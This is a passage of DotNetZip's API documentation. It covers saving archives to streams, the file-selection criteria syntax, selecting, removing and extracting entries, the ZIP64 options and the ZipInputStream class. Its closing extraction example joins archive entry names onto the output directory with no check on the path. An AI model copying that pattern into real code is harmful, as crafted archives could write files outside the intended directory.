ZipFile instance is written to storage - typically a zip file + in a filesystem, but using this overload, the storage can be anything + accessible via a writable stream - only when the caller calls Save. + + + + Use this method to save the zip content to a stream directly. A common + scenario is an ASP.NET application that dynamically generates a zip file + and allows the browser to download it. The application can call + Save(Response.OutputStream) to write a zipfile directly to the + output stream, without creating a zip file on the disk on the ASP.NET + server. + + + + Be careful when saving a file to a non-seekable stream, including + Response.OutputStream. When DotNetZip writes to a non-seekable + stream, the zip archive is formatted in such a way that may not be + compatible with all zip tools on all platforms. It's a perfectly legal + and compliant zip file, but some people have reported problems opening + files produced this way using the Mac OS archive utility. + + + + + + + This example saves the zipfile content into a MemoryStream, and + then gets the array of bytes from that MemoryStream. + + + using (var zip = new Ionic.Zip.ZipFile()) + { + zip.CompressionLevel= Ionic.Zlib.CompressionLevel.BestCompression; + zip.Password = "VerySecret."; + zip.Encryption = EncryptionAlgorithm.WinZipAes128; + zip.AddFile(sourceFileName); + MemoryStream output = new MemoryStream(); + zip.Save(output); + + byte[] zipbytes = output.ToArray(); + } + + + + + + This example shows a pitfall you should avoid. DO NOT read + from a stream, then try to save to the same stream. DO + NOT DO THIS: + + + + using (var fs = new FileStream(filename, FileMode.Open)) + { + using (var zip = Ionic.Zip.ZipFile.Read(inputStream)) + { + zip.AddEntry("Name1.txt", "this is the content"); + zip.Save(inputStream); // NO NO NO!! + } + } + + + + Better like this: + + + + using (var zip = Ionic.Zip.ZipFile.Read(filename)) + { + zip.AddEntry("Name1.txt", "this is the content"); + zip.Save(); // YES! + } + + + + + + The System.IO.Stream to write to. It must be + writable. If you created the ZipFile instance by calling + ZipFile.Read(), this stream must not be the same stream + you passed to ZipFile.Read(). + + + + + Adds to the ZipFile a set of files from the current working directory on + disk, that conform to the specified criteria. + + + + + This method selects files from the the current working directory matching + the specified criteria, and adds them to the ZipFile. + + + + Specify the criteria in statements of 3 elements: a noun, an operator, and + a value. Consider the string "name != *.doc" . The noun is "name". The + operator is "!=", implying "Not Equal". The value is "*.doc". That + criterion, in English, says "all files with a name that does not end in + the .doc extension." + + + + Supported nouns include "name" (or "filename") for the filename; "atime", + "mtime", and "ctime" for last access time, last modfied time, and created + time of the file, respectively; "attributes" (or "attrs") for the file + attributes; "size" (or "length") for the file length (uncompressed), and + "type" for the type of object, either a file or a directory. The + "attributes", "name" and "type" nouns both support = and != as operators. + The "size", "atime", "mtime", and "ctime" nouns support = and !=, and + >, >=, <, <= as well. The times are taken to be expressed in + local time. + + + + Specify values for the file attributes as a string with one or more of the + characters H,R,S,A,I,L in any order, implying file attributes of Hidden, + ReadOnly, System, Archive, NotContextIndexed, and ReparsePoint (symbolic + link) respectively. + + + + To specify a time, use YYYY-MM-DD-HH:mm:ss or YYYY/MM/DD-HH:mm:ss as the + format. If you omit the HH:mm:ss portion, it is assumed to be 00:00:00 + (midnight). + + + + The value for a size criterion is expressed in integer quantities of bytes, + kilobytes (use k or kb after the number), megabytes (m or mb), or gigabytes + (g or gb). + + + + The value for a name is a pattern to match against the filename, potentially + including wildcards. The pattern follows CMD.exe glob rules: * implies one + or more of any character, while ? implies one character. If the name + pattern contains any slashes, it is matched to the entire filename, + including the path; otherwise, it is matched against only the filename + without the path. This means a pattern of "*\*.*" matches all files one + directory level deep, while a pattern of "*.*" matches all files in all + directories. + + + + To specify a name pattern that includes spaces, use single quotes around the + pattern. A pattern of "'* *.*'" will match all files that have spaces in + the filename. The full criteria string for that would be "name = '* *.*'" . + + + + The value for a type criterion is either F (implying a file) or D (implying + a directory). + + + + Some examples: + + + + + criteria + Files retrieved + + + + name != *.xls + any file with an extension that is not .xls + + + + + name = *.mp3 + any file with a .mp3 extension. + + + + + *.mp3 + (same as above) any file with a .mp3 extension. + + + + + attributes = A + all files whose attributes include the Archive bit. + + + + + attributes != H + all files whose attributes do not include the Hidden bit. + + + + + mtime > 2009-01-01 + all files with a last modified time after January 1st, 2009. + + + + + size > 2gb + all files whose uncompressed size is greater than 2gb. + + + + + type = D + all directories in the filesystem. + + + + + + You can combine criteria with the conjunctions AND or OR. Using a string + like "name = *.txt AND size >= 100k" for the selectionCriteria retrieves + entries whose names end in .txt, and whose uncompressed size is greater than + or equal to 100 kilobytes. + + + + For more complex combinations of criteria, you can use parenthesis to group + clauses in the boolean logic. Without parenthesis, the precedence of the + criterion atoms is determined by order of appearance. Unlike the C# + language, the AND conjunction does not take precendence over the logical OR. + This is important only in strings that contain 3 or more criterion atoms. + In other words, "name = *.txt and size > 1000 or attributes = H" implies + "((name = *.txt AND size > 1000) OR attributes = H)" while "attributes = + H OR name = *.txt and size > 1000" evaluates to "((attributes = H OR name + = *.txt) AND size > 1000)". When in doubt, use parenthesis. + + + + Using time properties requires some extra care. If you want to retrieve all + entries that were last updated on 2009 February 14, specify a time range + like so:"mtime >= 2009-02-14 AND mtime < 2009-02-15". Read this to + say: all files updated after 12:00am on February 14th, until 12:00am on + February 15th. You can use the same bracketing approach to specify any time + period - a year, a month, a week, and so on. + + + + The syntax allows one special case: if you provide a string with no spaces, it is + treated as a pattern to match for the filename. Therefore a string like "*.xls" + will be equivalent to specifying "name = *.xls". + + + + There is no logic in this method that insures that the file inclusion + criteria are internally consistent. For example, it's possible to specify + criteria that says the file must have a size of less than 100 bytes, as well + as a size that is greater than 1000 bytes. Obviously no file will ever + satisfy such criteria, but this method does not detect such logical + inconsistencies. The caller is responsible for insuring the criteria are + sensible. + + + + Using this method, the file selection does not recurse into + subdirectories, and the full path of the selected files is included in the + entries added into the zip archive. If you don't like these behaviors, + see the other overloads of this method. + + + + + This example zips up all *.csv files in the current working directory. + + using (ZipFile zip = new ZipFile()) + { + // To just match on filename wildcards, + // use the shorthand form of the selectionCriteria string. + zip.AddSelectedFiles("*.csv"); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile() + zip.AddSelectedFiles("*.csv") + zip.Save(PathToZipArchive) + End Using + + + + The criteria for file selection + + + + Adds to the ZipFile a set of files from the disk that conform to the + specified criteria, optionally recursing into subdirectories. + + + + + This method selects files from the the current working directory matching + the specified criteria, and adds them to the ZipFile. If + recurseDirectories is true, files are also selected from + subdirectories, and the directory structure in the filesystem is + reproduced in the zip archive, rooted at the current working directory. + + + + Using this method, the full path of the selected files is included in the + entries added into the zip archive. If you don't want this behavior, use + one of the overloads of this method that allows the specification of a + directoryInArchive. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + + + + This example zips up all *.xml files in the current working directory, or any + subdirectory, that are larger than 1mb. + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", true); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile() + ' Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", true) + zip.Save(PathToZipArchive) + End Using + + + + The criteria for file selection + + + If true, the file selection will recurse into subdirectories. + + + + + Adds to the ZipFile a set of files from a specified directory in the + filesystem, that conform to the specified criteria. + + + + + This method selects files that conform to the specified criteria, from the + the specified directory on disk, and adds them to the ZipFile. The search + does not recurse into subdirectores. + + + + Using this method, the full filesystem path of the files on disk is + reproduced on the entries added to the zip file. If you don't want this + behavior, use one of the other overloads of this method. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + + + + This example zips up all *.xml files larger than 1mb in the directory + given by "d:\rawdata". + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", "d:\\rawdata"); + zip.Save(PathToZipArchive); + } + + + + Using zip As ZipFile = New ZipFile() + ' Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", "d:\rawdata) + zip.Save(PathToZipArchive) + End Using + + + + The criteria for file selection + + + The name of the directory on the disk from which to select files. + + + + + Adds to the ZipFile a set of files from the specified directory on disk, + that conform to the specified criteria. + + + + + + This method selects files from the the specified disk directory matching + the specified selection criteria, and adds them to the ZipFile. If + recurseDirectories is true, files are also selected from + subdirectories. + + + + The full directory structure in the filesystem is reproduced on the + entries added to the zip archive. If you don't want this behavior, use + one of the overloads of this method that allows the specification of a + directoryInArchive. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + + + This example zips up all *.csv files in the "files" directory, or any + subdirectory, that have been saved since 2009 February 14th. + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.csv and mtime > 2009-02-14", "files", true); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile() + ' Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.csv and mtime > 2009-02-14", "files", true) + zip.Save(PathToZipArchive) + End Using + + + + + This example zips up all files in the current working + directory, and all its child directories, except those in + the excludethis subdirectory. + + Using Zip As ZipFile = New ZipFile(zipfile) + Zip.AddSelectedFfiles("name != 'excludethis\*.*'", datapath, True) + Zip.Save() + End Using + + + + The criteria for file selection + + + The filesystem path from which to select files. + + + + If true, the file selection will recurse into subdirectories. + + + + + Adds to the ZipFile a selection of files from the specified directory on + disk, that conform to the specified criteria, and using a specified root + path for entries added to the zip archive. + + + + + This method selects files from the specified disk directory matching the + specified selection criteria, and adds those files to the ZipFile, using + the specified directory path in the archive. The search does not recurse + into subdirectories. For details on the syntax for the selectionCriteria + parameter, see . + + + + + + + This example zips up all *.psd files in the "photos" directory that have + been saved since 2009 February 14th, and puts them all in a zip file, + using the directory name of "content" in the zip archive itself. When the + zip archive is unzipped, the folder containing the .psd files will be + named "content". + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.psd and mtime > 2009-02-14", "photos", "content"); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile + zip.AddSelectedFiles("name = *.psd and mtime > 2009-02-14", "photos", "content") + zip.Save(PathToZipArchive) + End Using + + + + + The criteria for selection of files to add to the ZipFile. + + + + The path to the directory in the filesystem from which to select files. + + + + Specifies a directory path to use to in place of the + directoryOnDisk. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (nothing in VB) will use the path on the file name, if any; in other + words it would use directoryOnDisk, plus any subdirectory. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + + Adds to the ZipFile a selection of files from the specified directory on + disk, that conform to the specified criteria, optionally recursing through + subdirectories, and using a specified root path for entries added to the + zip archive. + + + + This method selects files from the specified disk directory that match the + specified selection criteria, and adds those files to the ZipFile, using + the specified directory path in the archive. If recurseDirectories + is true, files are also selected from subdirectories, and the directory + structure in the filesystem is reproduced in the zip archive, rooted at + the directory specified by directoryOnDisk. For details on the + syntax for the selectionCriteria parameter, see . + + + + + This example zips up all files that are NOT *.pst files, in the current + working directory and any subdirectories. + + + using (ZipFile zip = new ZipFile()) + { + zip.AddSelectedFiles("name != *.pst", SourceDirectory, "backup", true); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile + zip.AddSelectedFiles("name != *.pst", SourceDirectory, "backup", true) + zip.Save(PathToZipArchive) + End Using + + + + + The criteria for selection of files to add to the ZipFile. + + + + The path to the directory in the filesystem from which to select files. + + + + Specifies a directory path to use to in place of the + directoryOnDisk. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (nothing in VB) will use the path on the file name, if any; in other + words it would use directoryOnDisk, plus any subdirectory. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + If true, the method also scans subdirectories for files matching the + criteria. + + + + + Updates the ZipFile with a selection of files from the disk that conform + to the specified criteria. + + + + This method selects files from the specified disk directory that match the + specified selection criteria, and Updates the ZipFile with those + files, using the specified directory path in the archive. If + recurseDirectories is true, files are also selected from + subdirectories, and the directory structure in the filesystem is + reproduced in the zip archive, rooted at the directory specified by + directoryOnDisk. For details on the syntax for the + selectionCriteria parameter, see . + + + + The criteria for selection of files to add to the ZipFile. + + + + The path to the directory in the filesystem from which to select files. + + + + Specifies a directory path to use to in place of the + directoryOnDisk. This path may, or may not, correspond to a + real directory in the current filesystem. If the files within the zip + are later extracted, this is the path used for the extracted file. + Passing null (nothing in VB) will use the path on the file name, if + any; in other words it would use directoryOnDisk, plus any + subdirectory. Passing the empty string ("") will insert the item at + the root path within the archive. + + + + If true, the method also scans subdirectories for files matching the criteria. + + + + + + + Retrieve entries from the zipfile by specified criteria. + + + + + This method allows callers to retrieve the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + This example selects all the PhotoShop files from within an archive, and extracts them + to the current working directory. + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + var PhotoShopFiles = zip1.SelectEntries("*.psd"); + foreach (ZipEntry psd in PhotoShopFiles) + { + psd.Extract(); + } + } + + + Using zip1 As ZipFile = ZipFile.Read(ZipFileName) + Dim PhotoShopFiles as ICollection(Of ZipEntry) + PhotoShopFiles = zip1.SelectEntries("*.psd") + Dim psd As ZipEntry + For Each psd In PhotoShopFiles + psd.Extract + Next + End Using + + + the string that specifies which entries to select + a collection of ZipEntry objects that conform to the inclusion spec + + + + Retrieve entries from the zipfile by specified criteria. + + + + + This method allows callers to retrieve the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + var UpdatedPhotoShopFiles = zip1.SelectEntries("*.psd", "UpdatedFiles"); + foreach (ZipEntry e in UpdatedPhotoShopFiles) + { + // prompt for extract here + if (WantExtract(e.FileName)) + e.Extract(); + } + } + + + Using zip1 As ZipFile = ZipFile.Read(ZipFileName) + Dim UpdatedPhotoShopFiles As ICollection(Of ZipEntry) = zip1.SelectEntries("*.psd", "UpdatedFiles") + Dim e As ZipEntry + For Each e In UpdatedPhotoShopFiles + ' prompt for extract here + If Me.WantExtract(e.FileName) Then + e.Extract + End If + Next + End Using + + + the string that specifies which entries to select + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + a collection of ZipEntry objects that conform to the inclusion spec + + + + Remove entries from the zipfile by specified criteria. + + + + + This method allows callers to remove the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + This example removes all entries in a zip file that were modified prior to January 1st, 2008. + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + // remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01"); + // don't forget to save the archive! + zip1.Save(); + } + + + Using zip As ZipFile = ZipFile.Read(ZipFileName) + ' remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01") + ' do not forget to save the archive! + zip1.Save + End Using + + + the string that specifies which entries to select + the number of entries removed + + + + Remove entries from the zipfile by specified criteria, and within the specified + path in the archive. + + + + + This method allows callers to remove the collection of entries from the zipfile + that fit the specified criteria. The criteria are described in a string format, and + can include patterns for the filename; constraints on the size of the entry; + constraints on the last modified, created, or last accessed time for the file + described by the entry; or the attributes of the entry. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + This method is intended for use with a ZipFile that has been read from storage. + When creating a new ZipFile, this method will work only after the ZipArchive has + been Saved to the disk (the ZipFile class subsequently and implicitly reads the Zip + archive from storage.) Calling SelectEntries on a ZipFile that has not yet been + saved will deliver undefined results. + + + + + Thrown if selectionCriteria has an invalid syntax. + + + + + using (ZipFile zip1 = ZipFile.Read(ZipFileName)) + { + // remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01", "documents"); + // a call to ZipFile.Save will make the modifications permanent + zip1.Save(); + } + + + Using zip As ZipFile = ZipFile.Read(ZipFileName) + ' remove all entries from prior to Jan 1, 2008 + zip1.RemoveEntries("mtime < 2008-01-01", "documents") + ' a call to ZipFile.Save will make the modifications permanent + zip1.Save + End Using + + + + the string that specifies which entries to select + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + the number of entries removed + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the current working directory. + + + + If any of the files to be extracted already exist, then the action taken is as + specified in the property on the + corresponding ZipEntry instance. By default, the action taken in this case is to + throw an exception. + + + + For information on the syntax of the selectionCriteria string, + see . + + + + + This example shows how extract all XML files modified after 15 January 2009. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml and mtime > 2009-01-15"); + } + + + the selection criteria for entries to extract. + + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the current working directory. When extraction would would + overwrite an existing filesystem file, the action taken is as specified in the + parameter. + + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + + This example shows how extract all XML files modified after 15 January 2009, + overwriting any existing files. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml and mtime > 2009-01-15", + ExtractExistingFileAction.OverwriteSilently); + } + + + + the selection criteria for entries to extract. + + + The action to take if extraction would overwrite an existing file. + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are selected from the specified directory within the archive, and then + extracted into the current working directory. + + + + If any of the files to be extracted already exist, then the action taken is as + specified in the property on the + corresponding ZipEntry instance. By default, the action taken in this case is to + throw an exception. + + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + + This example shows how extract all XML files modified after 15 January 2009, + and writes them to the "unpack" directory. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml and mtime > 2009-01-15","unpack"); + } + + + + the selection criteria for entries to extract. + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the specified directory. If any of the files to be + extracted already exist, an exception will be thrown. + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + the selection criteria for entries to extract. + + + the directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + + the directory on the disk into which to extract. It will be created + if it does not exist. + + + + + Selects and Extracts a set of Entries from the ZipFile. + + + + + The entries are extracted into the specified directory. When extraction would would + overwrite an existing filesystem file, the action taken is as specified in the + parameter. + + + + For information on the syntax of the string describing the entry selection criteria, + see . + + + + + This example shows how extract all files with an XML extension or with a size larger than 100,000 bytes, + and puts them in the unpack directory. For any files that already exist in + that destination directory, they will not be overwritten. + + using (ZipFile zip = ZipFile.Read(zipArchiveName)) + { + zip.ExtractSelectedEntries("name = *.xml or size > 100000", + null, + "unpack", + ExtractExistingFileAction.DontOverwrite); + } + + + + the selection criteria for entries to extract. + + + The directory on the disk into which to extract. It will be created if it does not exist. + + + + The directory in the archive from which to select entries. If null, then + all directories in the archive are used. + + + + The action to take if extraction would overwrite an existing file. + + + + + + + + Static constructor for ZipFile + + + Code Pages 437 and 1252 for English are same + Code Page 1252 Windows Latin 1 (ANSI) - + Code Page 437 MS-DOS Latin US - + + + + + The default text encoding used in zip archives. It is numeric 437, also + known as IBM437. + + + + + + Generic IEnumerator support, for use of a ZipFile in an enumeration. + + + + You probably do not want to call GetEnumerator explicitly. Instead + it is implicitly called when you use a loop in C#, or a + For Each loop in VB.NET. + + + + This example reads a zipfile of a given name, then enumerates the + entries in that zip file, and displays the information about each + entry on the Console. + + using (ZipFile zip = ZipFile.Read(zipfile)) + { + bool header = true; + foreach (ZipEntry e in zip) + { + if (header) + { + System.Console.WriteLine("Zipfile: {0}", zip.Name); + System.Console.WriteLine("Version Needed: 0x{0:X2}", e.VersionNeeded); + System.Console.WriteLine("BitField: 0x{0:X2}", e.BitField); + System.Console.WriteLine("Compression Method: 0x{0:X2}", e.CompressionMethod); + System.Console.WriteLine("\n{1,-22} {2,-6} {3,4} {4,-8} {0}", + "Filename", "Modified", "Size", "Ratio", "Packed"); + System.Console.WriteLine(new System.String('-', 72)); + header = false; + } + + System.Console.WriteLine("{1,-22} {2,-6} {3,4:F0}% {4,-8} {0}", + e.FileName, + e.LastModified.ToString("yyyy-MM-dd HH:mm:ss"), + e.UncompressedSize, + e.CompressionRatio, + e.CompressedSize); + + e.Extract(); + } + } + + + + Dim ZipFileToExtract As String = "c:\foo.zip" + Using zip As ZipFile = ZipFile.Read(ZipFileToExtract) + Dim header As Boolean = True + Dim e As ZipEntry + For Each e In zip + If header Then + Console.WriteLine("Zipfile: {0}", zip.Name) + Console.WriteLine("Version Needed: 0x{0:X2}", e.VersionNeeded) + Console.WriteLine("BitField: 0x{0:X2}", e.BitField) + Console.WriteLine("Compression Method: 0x{0:X2}", e.CompressionMethod) + Console.WriteLine(ChrW(10) & "{1,-22} {2,-6} {3,4} {4,-8} {0}", _ + "Filename", "Modified", "Size", "Ratio", "Packed" ) + Console.WriteLine(New String("-"c, 72)) + header = False + End If + Console.WriteLine("{1,-22} {2,-6} {3,4:F0}% {4,-8} {0}", _ + e.FileName, _ + e.LastModified.ToString("yyyy-MM-dd HH:mm:ss"), _ + e.UncompressedSize, _ + e.CompressionRatio, _ + e.CompressedSize ) + e.Extract + Next + End Using + + + + A generic enumerator suitable for use within a foreach loop. + + + + An IEnumerator, for use of a ZipFile in a foreach construct. + + + + This method is included for COM support. An application generally does not call + this method directly. It is called implicitly by COM clients when enumerating + the entries in the ZipFile instance. In VBScript, this is done with a For Each + statement. In Javascript, this is done with new Enumerator(zipfile). + + + + The IEnumerator over the entries in the ZipFile. + + + + + Options for using ZIP64 extensions when saving zip archives. + + + + + + Designed many years ago, the original zip + specification from PKWARE allowed for 32-bit quantities for the + compressed and uncompressed sizes of zip entries, as well as a 32-bit quantity + for specifying the length of the zip archive itself, and a maximum of 65535 + entries. These limits are now regularly exceeded in many backup and archival + scenarios. Recently, PKWare added extensions to the original zip spec, called + "ZIP64 extensions", to raise those limitations. This property governs whether + DotNetZip will use those extensions when writing zip archives. The use of + these extensions is optional and explicit in DotNetZip because, despite the + status of ZIP64 as a bona fide standard, many other zip tools and libraries do + not support ZIP64, and therefore a zip file with ZIP64 extensions may be + unreadable by some of those other tools. + + + + Set this property to to always use ZIP64 + extensions when saving, regardless of whether your zip archive needs it. + Suppose you add 5 files, each under 100k, to a ZipFile. If you specify Always + for this flag, you will get a ZIP64 archive, though the archive does not need + to use ZIP64 because none of the original zip limits had been exceeded. + + + + Set this property to to tell the DotNetZip + library to never use ZIP64 extensions. This is useful for maximum + compatibility and interoperability, at the expense of the capability of + handling large files or large archives. NB: Windows Explorer in Windows XP + and Windows Vista cannot currently extract files from a zip64 archive, so if + you want to guarantee that a zip archive produced by this library will work in + Windows Explorer, use Never. If you set this property to , and your application creates a zip that would + exceed one of the Zip limits, the library will throw an exception while saving + the zip file. + + + + Set this property to to tell the + DotNetZip library to use the ZIP64 extensions when required by the + entry. After the file is compressed, the original and compressed sizes are + checked, and if they exceed the limits described above, then zip64 can be + used. That is the general idea, but there is an additional wrinkle when saving + to a non-seekable device, like the ASP.NET Response.OutputStream, or + Console.Out. When using non-seekable streams for output, the entry + header - which indicates whether zip64 is in use - is emitted before it is + known if zip64 is necessary. It is only after all entries have been saved + that it can be known if ZIP64 will be required. On seekable output streams, + after saving all entries, the library can seek backward and re-emit the zip + file header to be consistent with the actual ZIP64 requirement. But using a + non-seekable output stream, the library cannot seek backward, so the header + can never be changed. In other words, the archive's use of ZIP64 extensions is + not alterable after the header is emitted. Therefore, when saving to + non-seekable streams, using is the same + as using : it will always produce a zip + archive that uses ZIP64 extensions. + + + + + + + The default behavior, which is "Never". + (For COM clients, this is a 0 (zero).) + + + + + Do not use ZIP64 extensions when writing zip archives. + (For COM clients, this is a 0 (zero).) + + + + + Use ZIP64 extensions when writing zip archives, as necessary. + For example, when a single entry exceeds 0xFFFFFFFF in size, or when the archive as a whole + exceeds 0xFFFFFFFF in size, or when there are more than 65535 entries in an archive. + (For COM clients, this is a 1.) + + + + + Always use ZIP64 extensions when writing zip archives, even when unnecessary. + (For COM clients, this is a 2.) + + + + + An enum representing the values on a three-way toggle switch + for various options in the library. This might be used to + specify whether to employ a particular text encoding, or to use + ZIP64 extensions, or some other option. + + + + + The default behavior. This is the same as "Never". + (For COM clients, this is a 0 (zero).) + + + + + Never use the associated option. + (For COM clients, this is a 0 (zero).) + + + + + Use the associated behavior "as necessary." + (For COM clients, this is a 1.) + + + + + Use the associated behavior Always, whether necessary or not. + (For COM clients, this is a 2.) + + + + + A class for collecting the various options that can be used when + Reading zip files for extraction or update. + + + + + When reading a zip file, there are several options an + application can set, to modify how the file is read, or what + the library does while reading. This class collects those + options into one container. + + + + Pass an instance of the ReadOptions class into the + ZipFile.Read() method. + + + . + . + + + + + An event handler for Read operations. When opening large zip + archives, you may want to display a progress bar or other + indicator of status progress while reading. This parameter + allows you to specify a ReadProgress Event Handler directly. + When you call Read(), the progress event is invoked as + necessary. + + + + + The System.IO.TextWriter to use for writing verbose status messages + during operations on the zip archive. A console application may wish to + pass System.Console.Out to get messages on the Console. A graphical + or headless application may wish to capture the messages in a different + TextWriter, such as a System.IO.StringWriter. + + + + + The System.Text.Encoding to use when reading in the zip archive. Be + careful specifying the encoding. If the value you use here is not the same + as the Encoding used when the zip archive was created (possibly by a + different archiver) you will get unexpected results and possibly exceptions. + + + + + + + + Provides a stream metaphor for reading zip files. + + + + + This class provides an alternative programming model for reading zip files to + the one enabled by the class. Use this when reading zip + files, as an alternative to the class, when you would + like to use a Stream class to read the file. + + + + Some application designs require a readable stream for input. This stream can + be used to read a zip file, and extract entries. + + + + Both the ZipInputStream class and the ZipFile class can be used + to read and extract zip files. Both of them support many of the common zip + features, including Unicode, different compression levels, and ZIP64. The + programming models differ. For example, when extracting entries via calls to + the GetNextEntry() and Read() methods on the + ZipInputStream class, the caller is responsible for creating the file, + writing the bytes into the file, setting the attributes on the file, and + setting the created, last modified, and last accessed timestamps on the + file. All of these things are done automatically by a call to ZipEntry.Extract(). For this reason, the + ZipInputStream is generally recommended for when your application wants + to extract the data, without storing that data into a file. + + + + Aside from the obvious differences in programming model, there are some + differences in capability between the ZipFile class and the + ZipInputStream class. + + + + + ZipFile can be used to create or update zip files, or read and + extract zip files. ZipInputStream can be used only to read and + extract zip files. If you want to use a stream to create zip files, check + out the . + + + + ZipInputStream cannot read segmented or spanned + zip files. + + + + ZipInputStream will not read Zip file comments. + + + + When reading larger files, ZipInputStream will always underperform + ZipFile. This is because the ZipInputStream does a full scan on the + zip file, while the ZipFile class reads the central directory of the + zip file. + + + + + + + + + Create a ZipInputStream, wrapping it around an existing stream. + + + + + + While the class is generally easier + to use, this class provides an alternative to those + applications that want to read from a zipfile directly, + using a . + + + + Both the ZipInputStream class and the ZipFile class can be used + to read and extract zip files. Both of them support many of the common zip + features, including Unicode, different compression levels, and ZIP64. The + programming models differ. For example, when extracting entries via calls to + the GetNextEntry() and Read() methods on the + ZipInputStream class, the caller is responsible for creating the file, + writing the bytes into the file, setting the attributes on the file, and + setting the created, last modified, and last accessed timestamps on the + file. All of these things are done automatically by a call to ZipEntry.Extract(). For this reason, the + ZipInputStream is generally recommended for when your application wants + to extract the data, without storing that data into a file. + + + + Aside from the obvious differences in programming model, there are some + differences in capability between the ZipFile class and the + ZipInputStream class. + + + + + ZipFile can be used to create or update zip files, or read and extract + zip files. ZipInputStream can be used only to read and extract zip + files. If you want to use a stream to create zip files, check out the . + + + + ZipInputStream cannot read segmented or spanned + zip files. + + + + ZipInputStream will not read Zip file comments. + + + + When reading larger files, ZipInputStream will always underperform + ZipFile. This is because the ZipInputStream does a full scan on the + zip file, while the ZipFile class reads the central directory of the + zip file. + + + + + + + + The stream to read. It must be readable. This stream will be closed at + the time the ZipInputStream is closed. + + + + + This example shows how to read a zip file, and extract entries, using the + ZipInputStream class. + + + private void Unzip() + { + byte[] buffer= new byte[2048]; + int n; + using (var raw = File.Open(inputFileName, FileMode.Open, FileAccess.Read)) + { + using (var input= new ZipInputStream(raw)) + { + ZipEntry e; + while (( e = input.GetNextEntry()) != null) + { + if (e.IsDirectory) continue; + string outputPath = Path.Combine(extractDir, e.FileName); + using (var output = File.Open(outputPath, FileMode.Create, FileAccess.ReadWrite)) + { + while ((n= input.Read(buffer, 0, buffer.Length)) > 0) + { + output.Write(buffer,0,n); + } + } + } + } + } + } + + + + Private Sub UnZip() + Dim inputFileName As String = "MyArchive.zip" + Dim extractDir As String = "extract" + Dim buffer As Byte() = New Byte(2048) {} + Using raw As 